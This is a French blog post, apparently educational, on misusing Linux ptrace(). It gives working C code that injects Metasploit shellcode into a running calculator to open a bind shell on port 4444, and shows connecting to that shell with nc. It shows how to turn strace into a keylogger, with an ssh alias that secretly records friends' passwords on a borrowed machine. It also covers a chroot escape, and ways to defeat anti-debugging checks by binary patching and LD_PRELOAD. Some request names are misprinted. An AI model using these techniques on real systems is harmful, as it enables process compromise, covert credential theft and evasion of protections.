Malicious debugger ! (2/3)

Wed 03 October 2007 by alex

Le debuggage sous Linux

Une des grandes forces des systèmes UNIX est d’offrir une forte compatibilité malgré la diversité des systèmes. Cela se vérifie également en matière de debuggage puisqu’une fonction unique centralise cela :

long ptrace (enum __ptrace_request request , pid_t pid , void *addr , void *data ) ;

Le prototype est assez explicite :

  • request spécifie l’opération à effectuer ;
  • pid indique le processus cible ;
  • les 2 derniers arguments dépendent de la requête, addr indiquant l’adresse à traiter, et data des données en entrée ou sortie. En revanche, et contrairement à une idée rependue, les versions de ptrace() ne sont pas toutes équivalentes, loin de là. Par exemple, les capacités de debuggage sous Mac OS X avec ptrace() sont très pauvres, l’effort étant porté sur les capacités tirées du noyau Mach. Inversement, la version Linux de ptrace() est extrêmement puissante et donne un contrôle complet sur le processus debbuggé.

Voyons les possibilités offertes par cette fonction.

Comment ça marche ?

Le principe est toujours le même :

  • le processus s'attache au processus qu'il veut debugger ;
  • il effectue les opérations de son choix : accès aux registres ou à la mémoire, etc.
  • le processus se détache ou tue le processus debuggé.

On résume ainsi la trame d'un programme reposant sur ptrace

int main(int argc, char **argv)
{
    pid_t pid;
    ptrace(PTRACE_ATTACH, pid, NULL, NULL);

    /* Do some stuff ... */

    ptrace(PTRACE_DETACH, pid, NULL, NULL);
}

S'attacher à un processus demande d'avoir les privilèges nécessaires. En effet, comme nous le verrons, pouvoir debugger donne un accès complet à la mémoire du processus cible. Par conséquent, un utilisateur ne peut debugger que les processus qui lui appartiennent... et encore. Il est évident qu'un utilisateur ne doit pas pouvoir debugger un processus qui appartient à un autre utilisateur, et à plus forte raison à root. De même, les processusissus de fichiers SetUID/SetGID ne sont pas debuggables. En effet, même s'ils abaissent leurs privilèges en cours d'exécution, ces processus sont lancés en tant que propriétaires du fichier (root par exemple). C'est pour ça qu'on ne peut pas debugger la commande ping :

>> gdb -q /bin/ping
(no debugging symbols found)
Using host libthread_db library "/lib/i686/cmov/libthread_db.so.1".
(gdb) r google.fr
ping: icmp open socket: Operation not permitted

Program exited with code 02.

L'objet n'est pas ici de détailler toutes les requêtes. Pour cela, mieux vaut se reporter directement à la documentation officielle propre à chaque système. Citons entre autres les opérations suivantes :

  • l'accès complet à la mémoire, en lecture (PRACE_PEEKTEXT ou PRACE_PEEKDATA) ou en écriture (PRACE_PEEKTEXT ou PRACE_PEEKDATA);
  • l'accès aux registres généraux en lecture/écriture PTRACE_{G,S}ETREGS et plus généralement à tous les registres, y compris ceux de segments PTRACE_{G,S}ETUSR ;
  • le contrôle du flux d'exécution, par exemple en passant en mode pas-à-pas PTRACE_SINGLESTEP on en reprenant le cours de son exécution PTRACE_CONT.

Quand on regarde sous le capot, ptrace() s'appuie sur le mode pas-à-pas et le système de points d'arrêt. La gestion de ces mécanismes est réalisée par l'intermédiaire des signaux : à chaque fois que le processeur s'arrête, le noyau traite l'interruption en envoyant un signal SIGTRAP au processus debugger, qui peut alors effectuer les opérations de son choix.Au travers de quelques exemples, nous présentons ci-après quelques unes des multiples possibilités offertes par ptrace().

Injection mémoire

Les mécanismes d'injection en mémoire sont souvent utilisés par les codes malicieux pour contourner la politique de sécurité mise en place sur un poste de travail. L'exemple le plus caractéristique est celui des pare-feux personnels. En général, ces logiciels interdisent l'accès au net à certaines applications. Cependant, le navigateur par défaut est toujours autorisé à accéder au net. Le code malicieux va alors s'injecter dans la mémoire de ce processus avant de reprendre sa propagation, avec des permissions équivalentes à celle du navigateur.

Lorsqu'on modifie la mémoire d'un processus, il y a de nombreuses questions à se poser. Souhaite-t-on détruire le processus, ou au contraire, le préserver au maximum ? Comment est organisé son espace mémoire, et quels sont mes droits ?

Dans l'exemple qui suit, nous nous contentons de remplacer le code d'un processus par un autre. Pour cela, on injecte dans l'espace mémoire du processus un shellcode, puis on modifie le pointeur d'instructions eip pour lui demander d'exécuter le code fraîchement injecté.

Les étapes sont les suivantes :

  • on s'attache au processus cible ;
  • on récupère les registres ;
  • on recopie le shellcode dans la pile ;
  • on modifie le pointeur d'instruction vers le shellcode ;
  • on se détache.

Revenons sur les détails de ces opérations. L'accès aux registres se fait simplement par la requête PTRACE_GETREGS. Ils sont recopiés par le noyau dans une structure de type user_regs_struct. Ensuite, la recopie du shellcode en mémoire demande plus d'attention. En effet, ptrace() ne sait manipuler que des entiers. On ne peut donc pas mettre d'un coup tout le shellcode en mémoire, mais on doit passer par une boucle qui le recopie par blocs de 4 octets. Il s'agit maintenant de remettre le registre eip à l'adresse à laquelle on vient d'écrire le shellcode.

Néanmoins, avant cela, une vérification s'impose. En effet, il se peut que le processus ait été interrompu par le ptrace(PTRACE_ATTACH) alors qu'il exécute un appel système. Dans ce cas, le noyau décide de remettre l'exécution à l'endroit où elle a été interrompue, c'est-à-dire l'appel système. Sous Linux pour x86, un appel système est déclenché par l'instruction int  0x80, codée sur 2 octets. Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui ôtant 2. Or, nous ne souhaitons pas que l'exécution reprenne là où ne se trouve pas notre shellcode, mais bien au début de celui-ci : il nous faut compenser cela, en ajoutant nous-mêmes 2 à eip. Ainsi, selon les cas, la variable eip_offset ci-après vaudra 0 ou 2 :

/* Récupération des registres */
ptrace(PTRACE_GETREGS, pid, NULL, &regs);

/* Recopie du shellcode */
start = regs.esp-offset;
for (i=0; i < strlen(code); i+=4)
    ptrace(PTRACE_POKEDATA, pid, start+i, *(int *)(code+i));

/* On place eip au début du shellcode, à 2 octets près */
regs.eip = start + eip_offset;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

La détection de l'interruption d'un appel système ne fonctionne pas toujours très bien pour des raisons inexpliquées. En fait, sur les noyaux récents, ce n'est plus l'instruction int 0x80 qui est employée, mais un mécanisme de fastcall avec l'instruction sysenter. Néanmoins, tout comme avec les appels système classiques, la reprise du fastcall est prévue en cas d'interruption.Malheureusement, alors que la détection de l'interruption d'un appel système classique fonctionne très bien, ce n'est pas le cas encore pour les fastcalls sur tous les noyaux. En conséquence, pour avoir une solution qui fonctionne à tous les coups, l'idéal est de placer 2 instructions nop (no operation) au début du code injecté, et de modifier eip en ajoutant 2 octets :

  • si le noyau ajuste eip, il lui retire 2, et il se retrouve sur les nop;
  • si le noyau ne touche pas à eip, il pointe sur le début du shellcode.

Regardons maintenant ce que ça donne. Commençons par transformer une calculatrice en démon écoutant sur un port. On lance la calculatrice, puis on injecte notre shellcode. Le shellcode, généré à partir de metasploit, se met en écoute sur le port 4444, et lance un shell lorsqu'on s'y connecte :

>> xcalc&
[1] 14657
>> ./inj -b -o 256 `pidof xcalc`

Une fois le code injecté, on constate bien que notre calculatrice écoute sur le port 4444, et qu'on peut s'y connecter :

>> netstat -ntlp|grep 4444
tcp  0  0 0.0.0.0:4444   0.0.0.0:*  LISTEN  14657/xcalc
>> nc -nvv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
uname -a
Linux batgirl 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux

Un keylogger à 0.2€

Il est une commande fort pratique sous Linux, une sorte de couteau suisse à utiliser dès que quelque chose ne fonctionne pas : strace. Cette commande intercepte les appels système. Nous ne détaillerons pas son fonctionnement, le lecteur curieux est renvoyé vers la documentation.

Il est possible de détourner strace de son utilisation initiale pour en faire un excellent keylogger. Pour cela, on va demander à strace de n'intercepter que les lectures et écritures (le -e), de suivre les processus fils (le -f), et de s'attacher au processus 9362 (le -p), un shell en l'occurrence :

>> strace -f -e read,write -p 9362

Dorénavant, tout ce qui est tapé dans le shell apparaît, comme la commande uname -a et le résultat ci-après :

read(0, "u", 1)                         = 1
write(2, "u", 1)                        = 1
read(0, "n", 1)                         = 1
write(2, "n", 1)                        = 1
read(0, "a", 1)                         = 1
write(2, "a", 1)                        = 1
read(0, "m", 1)                         = 1
write(2, "m", 1)                        = 1
read(0, "e", 1)                         = 1
write(2, "e", 1)                        = 1
read(0, " ", 1)                         = 1
write(2, " ", 1)                        = 1
read(0, "-", 1)                         = 1
write(2, "-", 1)                        = 1
read(0, "a", 1)                         = 1
write(2, "a", 1)                        = 1
read(0, "\\textbackslash{}r", 1)                        = 1
write(2, "\\textbackslash{}n", 1)                       = 1
Process 15125 attached
Process 9362 suspended
[pid 15125] write(1, "Linux batgirl 2.6.18-4-686 #1 SM"..., 78) = 78
Process 9362 resumed
Process 15125 detached
SIGCHLD (Child exited) @ 0 (0)
write(1, "\\33]0;raynal@batgirl:  ~7", 22) = 22
write(2, "raynal@batgirl: >> ", 19)      = 19

En utilisant cette commande, il est alors possible de récupérer les mots de passe entrés via un navigateur sur un site web protégé, un client ssh, une pass-phrase pour PGP ou IPSec, au choix.

Ainsi, il est possible de prêter son ordinateur à des amis pour leur permettre de se connecter à leur webmail ou à leur machine distante, tout en récupérant les mots de passe par exemple :

>> alias ssh='strace -f -o /tmp/ssh.$$ -e read,write,connect ssh'

Ensuite, il ne nous reste plus qu'à consulter le fichier résultat :

connect(3, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("192.168.0.66")}, 16) = 0
write(5, "raynal@batman\\'s password: ", 26) = 26
read(5, "t", 1)                   = 1
read(5, "o", 1)                   = 1
read(5, "t", 1)                   = 1
read(5, "o", 1)                   = 1

Sortir de chroot, une prison de verre

Bien souvent, on lit dans les guides de sécurisation des systèmes que chroot est une prison : c'est FAUX ! À la base, cette commande est simplement prévue pour changer la racine de l'espace de nommage d'un processus, et en aucun cas pour faire de la sécurité. Dès lors, il existe de nombreux moyens de sortir de cette soi-disant prison. Ainsi, un processus peut envoyer des signaux en dehors d'une zone chrootée.

Si un processus chrooté a une faille, l'exploitation demande un peu de douceur, mais l'attaquant avisé pourra sortir du chroot. Pour cela, le shellcode injecté fera tout le travail. Prenons par exemple le programme en annexe que nous avons utilisé précédemment, et transformons le en shellcode (ce qui donnera donc un shellcode qui contient un shellcode), et nous pourrons alors aisément sortir de la prison. La seule différence par rapport au programme est qu'il faut ajouter une boucle destinée à trouver un processus dans lequel on peut écrire, ce qui se traduit en C par :

pid_t pid;
for (pid=100; pid<32000; pid++)
    if  ( ptrace(PTRACE_ATTACH, pid, NULL, NULL) != -1 )
        /* On a un processus dans lequel on peut écrire */
        break;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
...

Rappelons que, s'il faut être root pour créer un chroot, les processus qui tournent dedans et notre injection n'ont pas cette exigence (l'injection ne pourra se faire dans des processus appartenant au même utilisateur).

Pour notre test, on recompile notre exploit en statique, i.e. il ne dépend d'aucune bibliothèque. Ensuite, on le lance depuis un environnement chrooté pour injecter shellcode dans une calculatrice (dont on connaît le PID) :

>> gcc --static -g -o inj inj.c
>> pwd /home/raynal/src/syringe
>> sudo  chroot  . ./inj -b -o 512 16478
...
Setting eip at 0xbf90cc68
injection done

Il est nécessaire de lancer la commande chroot en tant que root, mais notre programme n'a pas besoin d'autant de privilèges pour fonctionner. Comme précédemment, on a un shell en écoute sur le port 4444, un shell qui peut accéder à tout le système :

>> nc -nvv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=1000(raynal) gid=1000(raynal)
ls -l pass* sha*
-rw-rr 1 root root   1240 Apr 23 12:06 passwd
-rw--- 1 root root   1195 Feb 13 09:16 passwd-
-rw-r- 1 root shadow 1018 Apr 23 12:06 shadow
-rw--- 1 root root    955 Mar  6 14:55 shadow-
cat shadow
cat: shadow: Permission denied

Qui a prétendu que chroot était conçu pour faire de la sécurité ?

Se protéger

En tant que tel, ptrace n'est ni bon, ni mauvais. Il s'avère juste pratique, autant pour le développeur ou l'administrateur qui cherche à comprendre le pourquoi d'une erreur qu'à un éventuel petit rigolo. Alors pourquoi et comment se protéger de ptrace() ? En fait, tous les systèmes ont des capacités de debuggage, et le risque est le même partout. Ceci dit, quelle en est l'utilité sur un serveur web ou une base de données ?

Bloquer ptrace() avec ptrace()

Pour s'affranchir de ptrace(), la première solution est de s'en débarrasser dans le noyau. Cela est lourd (voire extrémiste) et demande de modifier son noyau puis de le recompiler. Un compromis raisonnable est fourni par le patch noyau GrSecurity qui impose de fortes restrictions à ptrace(), et renforce les contraintes dans un chroot.

Néanmoins, ces approches concernent tout le système alors que parfois on souhaite simplement protéger un processus. Que les choses soient claires tout de suite : quelqu'un qui veut accéder à l'espace mémoire d'un processus le pourra, avec ou sans ptrace(). On peut toutefois lui compliquer beaucoup la vie. Ainsi, la première chose à faire pour empêcher un processus d'être debuggué est qu'il se debuggue lui-même. En effet, sous Linux, un processus ne peut être debuggué qu'une fois (le processus debugger devient le père du processus debuggué, et qu'un processus ne peut avoir qu'un père). Pour cela, on appelle ptrace de la manière suivante :

ptrace(PTRACE_TRACEME, 0, NULL, NULL);

Si on lance notre calculette au travers d'un strace vu précédemment, puis qu'on tente d'y injecter un shellcode, l'opération échoue :

>>  strace xcalc &
>> ./inj -b -o 512 16666
ptrace attach: Operation not permitted

Cette ruse permet accessoirement de détecter les processus qui sont éventuellement debuggés, comme les navigateurs ou clients ssh espionnés. Retirer cette protection n'est pas compliqué si on a accès au binaire. Illustrons cela de deux manières. Tout d'abord, on peut éditer le binaire pour remplacer les appels à ptrace() par des nop. Ce qui nous donne une première leçon : utiliser PTRACE_TRACEME nécessite de prévoir également des tests d'intégrité dans le binaire pour s'assurer qu'il n'est pas modifié. L'autre solution, si le binaire est dynamique, consiste à écrire une petite bibliothèque qui contient juste la fonction ptrace() et à lacharger avant la libc via la variable d'environnement LD_PRELOAD. Prenons un petit exemple :

/* noptrace.c */
main()
{
    if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
        fprintf(stderr, "Debugger detected !\");
        exit(EXIT_FAILURE);
    }
    printf("Ok\");
}

Si ce code est appelé en étant debuggé, l'appel ptrace(PTRACE_TRACEME) le détectera, et provoquera l'arrêt du code.

Comme expliqué précédemment, une première option pour outrepasser cette vérification consiste à remplacer l'appel dans le binaire :

>> objdump -S -d -j .text noptrace
...
8048444:       e8 d7 fe ff ff          call   8048320 <ptrace@plt>
8048449:       85 c0                   test   %eax,%eax
804844b:       79 31                   jns    804847e <main+0x6a>
...

On doit prendre garde au code qu'on remplace. Ici, on constate que suite à l'appel de ptrace(), un test est fait sur le registre eax pour contrôler la valeur de retour de la fonction. Afin de passer le test, nous mettons donc ce registre à 0. Ainsi, nous substituons aux 5 octets occupés par l'appel à ptrace() les instructions suivantes :

0x90      nop
0x90      nop
0x90      nop
0x33 0xC0 xor eax, eax\r

On effectue ces opérations directement dans le debugger :

>> gdb -q noptrace
(gdb) b main
Breakpoint 1 at 0x8048425: file noptrace.c, line 8.
(gdb) r
Breakpoint 1, main () at noptrace.c:8
8           if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
(gdb) set *0x8048444=0x33909090
(gdb) set *0x8048448=0x79c085c0
0x8048444 <main+48>:  0x90  0x90  0x90  0x33  0xc0  0x85  0xc0  0x79
(gdb) disass main
0x0804843d <main+41>:   movl   $0x0,(%esp)
0x08048444 <main+48>:   nop
0x08048445 <main+49>:   nop
0x08048446 <main+50>:   nop
0x08048447 <main+51>:   xor    %eax,%eax
0x08048449 <main+53>:   test   %eax,%eax
(gdb) c
Continuing.
Ok
Program exited with code 03.

Le programme a continué en étant exécuté dans le debugger, comme prévu. Il est à noter que cette solution fonctionne bien sur cet exemple car il n'y a qu'un test à modifier. Cependant, quand une multitude de tests est disséminée dans le binaire, mieux vaut opter pour la solution à base de bibliothèque dynamique. On crée rapidement la bibliothèque :

/* ptrace.c */
long ptrace(int request, pid_t pid, void *addr, void *data)
{
    fprintf(stderr, "ptrace(req=%d, pid=%d, addr=0x%08x, data=0x%08x\n",
                request, pid, addr, data);
    return 0;
}

Il s'agit de charger cette bibliothèque dans l'espace mémoire du processus, de sorte à ce que les appels à ptrace() soient interceptés :

>> gcc -shared -o ptrace.so ptrace.c
(gdb) set environment LD_PRELOAD ./ptrace.so
ptrace(req=0, pid=0, addr=0x00000000, data=0x00000000
Ok
Program exited with code 03.

L'appel est bien intercepté : les paramètres sont affichés, et l'exécution continue comme si de rien n'était.

Bloquer ptrace() avec les signaux

Le lien entre le processus debuggé et son debugger passe par l'envoi de signaux, en particulier SIGTRAP. La détection s'appuie sur le gestionnaire de ce signal, ajouté volontairement au programme qu'on souhaite protéger :

int debug = 1;

void sigtrap(int sig)
{
    printf("Sigtrap received :)\n")
    debug = 0;
}

int main(int argc, char **argv)
{
    signal(SIGTRAP, sigtrap);
    asm("int3");

    if (debug) {
        fprintf(stderr, "Debug is forbidden\n");
        exit(EXIT_FAILURE);
    }

    printf("Very secret code executed\n");
    return 0;
}

Dans le code précédent, les instructions protégées ne sont exécutées que si le signal SIGTRAP est bien géré par le programme lui-même :

>> ./sigtrap
Sigtrap received :)
Very secret code executed

En revanche, quand on exécute ce code dans un debugger, il intercepte le signal SIGTRAP, croyant qu'il s'agit d'un point d'arrêt :

>> gdb ./sigtrap
(gdb) r
Program received signal SIGTRAP, Trace/breakpoint trap.
main () at sigtrap.c:18
18          if (debug) {
(gdb) c
Continuing.
Debug is forbidden
Program exited with code 01.

Là encore, il n'est pas compliqué de s'affranchir de cette protection. La solution la plus facile consiste à transférer le signal du debugger vers le processus :

>> gdb ./sigtrap
(gdb) r
Program received signal SIGTRAP, Trace/breakpoint trap.
main () at sigtrap.c:18
18          if (debug) {
(gdb) signal SIGTRAPContinuing with signal SIGTRAP.
Sigtrap received :)
Very secret code executed
Program exited normally.

Il est aussi possible de modifier le binaire, par exemple en modifiant le gestionnaire de signal pour lui faire croire qu'il doit traiter SIGUSR1 à la place de SIGTRAP. Il faut aussi penser à rechercher les int3 (0xCC) et les remplacer par des nop (0x90).